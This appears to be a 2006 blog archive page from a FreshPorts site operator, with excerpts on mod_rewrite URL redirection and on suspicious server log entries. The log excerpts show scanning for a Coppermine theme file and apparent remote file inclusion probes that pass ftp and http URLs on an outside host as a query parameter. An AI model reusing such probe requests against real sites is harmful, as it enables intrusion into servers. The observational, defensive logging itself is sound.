November 2006

Rearranging the URL with mod_rewrite

And today, for my first trick (yes, it is my first trick, but my second post today), I shall transform this URL: http://www.freshports.org/news/pan2/files.php?message_id=200605010349.k413nOGF019378@repoman.freebsd.org into http://www.freshports.org/commit.php?message_id=200605010349.k413nOGF019378@repoman.freebsd.org&category=news&port=pan2&files=yes Why? Because it is impolite to break existing URLs. It is far better to redirect them to the new improved content. Our documentation for today’s exercise shall be http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html#RewriteRule. Our

Rearranging the URL with mod_rewrite Read More »

coppermining

I was getting a lot of these queries: [Thu Nov 9 00:40:34 2006] [error] [client 72.36.202.166] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php [Thu Nov 9 00:40:34 2006] [error] [client 204.157.11.250] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php [Thu Nov 9 00:40:36 2006] [error] [client 213.148.16.7] File does not exist: /www/freshports.org/modules/coppermine/themes/coppercop/theme.php [Thu Nov 9 00:40:37 2006] [error] [client 72.29.68.123]

coppermining Read More »

My, what interesting search queries!

My,what interesting search queries I have found. 195.137.160.67 – – [06/Nov/2006:13:09:56 -0500] “GET /mail/vpopmail/files.php?message_id=ftp://195.137.160.66/info.txt& HTTP/1.0” 404 20 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)” 195.137.160.67 – – [06/Nov/2006:13:09:58 -0500] “GET /mail/vpopmail/files.php?message_id=ftps://195.137.160.66/info.txt& HTTP/1.0” 404 20 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)” 195.137.160.67 – – [06/Nov/2006:13:10:01 -0500] “GET /mail/vpopmail/files.php?message_id=http://195.137.160.66/info.txt& HTTP/1.0” 404 20 “-” “Mozilla/4.0

My, what interesting search queries! Read More »

Scroll to Top